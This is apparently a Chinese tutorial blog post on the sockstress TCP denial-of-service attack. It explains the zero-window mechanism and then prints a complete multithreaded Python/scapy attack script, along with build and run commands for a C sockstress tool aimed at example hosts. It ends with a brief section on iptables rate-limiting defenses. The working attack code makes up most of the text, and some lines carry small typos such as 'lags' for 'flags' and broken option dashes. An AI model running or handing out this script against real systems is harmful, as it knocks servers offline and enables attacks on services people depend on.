2008年由Jack C.Louis 发现
针对TCP服务的拒绝服务攻击
消耗目标系统资源
与攻击目标建立大量socket链接
完成三次握手,最后的ACK包window大小为0 (客户端不接收数据)
攻击者资源消耗小(CPU、内存、带宽)
异步攻击,单机可拒绝服务高配资源服务器
Window 窗口实现的TCP 流控

1.讲课老师脚本攻击

  1. top #查看进程信息
  2. netstat | grep ESTABLISHED | wc -l #攻击后,查看系统连接数
  1. ./sockstress.py ip 21 200

脚本:

  1. #!/usr/bin/python
  2. # -*- coding=utf-8 -*-
  3. from scapy.all import*
  4. from time import sleep
  5. import thread
  6. import random
  7. import logging
  8. import os
  9. import signal
  10. import sys
  11. import signal
  12. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  13. if len(sys.argv) != 4:
  14. print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
  15. print "举例: ../sockstress.py 1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
  16. sys.exit()
  17. target = str(sys.argv[1])
  18. dstport= int(sys.argv[2])
  19. threads = int(sys.argv[3])
  20. # 攻击函数
  21. def sockstress(target,dstport) :
  22. while 0 == 0:
  23. try:
  24. x = random.randint(0,65535)
  25. response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0) #发SYN包
  26. send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0) #返回ACK包,window=0是重点
  27. except:
  28. pass
  29. # 停止攻击函数
  30. def shutdown(signal,frame):
  31. print "正在修复 iptables 规则"
  32. os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
  33. sys.exit()
  34. # 添加iptables规则
  35. os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
  36. signal.signal(signal.SIGINT, shutdown)
  37. # 多线程攻击
  38. print "\n攻击正在进行...按 Ctrl+C 停止攻击"
  39. for x in range(0,threads):
  40. thread.start_new_thread(sockstress, (target,dstport))
  41. # 永远执行
  42. while 0 == 0:
  43. sleep(1)

2.C攻击脚本

  1. https://github.com/defuse/sockstress
  2. gcc -Wall -c sockstress.c
  3. gcc -pthread -o sockstress sockstress.o
  4. ./sockstress 1.1.1.1:80 eth0
  5. ./sockstress 1.1.1.1:80 eth0 -p payloads/http
  6. #防火墙规则
  7. iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 192.168.1.119 -j DROP

3.防御措施

  • 由于建立完整的TCP三步握手,因此使用syn cookie防御无效
  • 根本的防御方法是采用白名单(不实际)
  • 折中对策:限制单位时间内每IP建的TCP连接数,封杀每30秒与 80 端口建立连接超过 10 个的IP地址

iptables -I INPUT-p tcp —dport 80 -m state —state NEW -m recent —set
iptables -I INPUT-p tcp —dport 80 -m state —state NEW -m recent —update —seconds 30 —hitcount 10 -j DROP #对DDOS攻击无效
原文链接:https://blog.csdn.net/weixin_44604541/article/details/105511860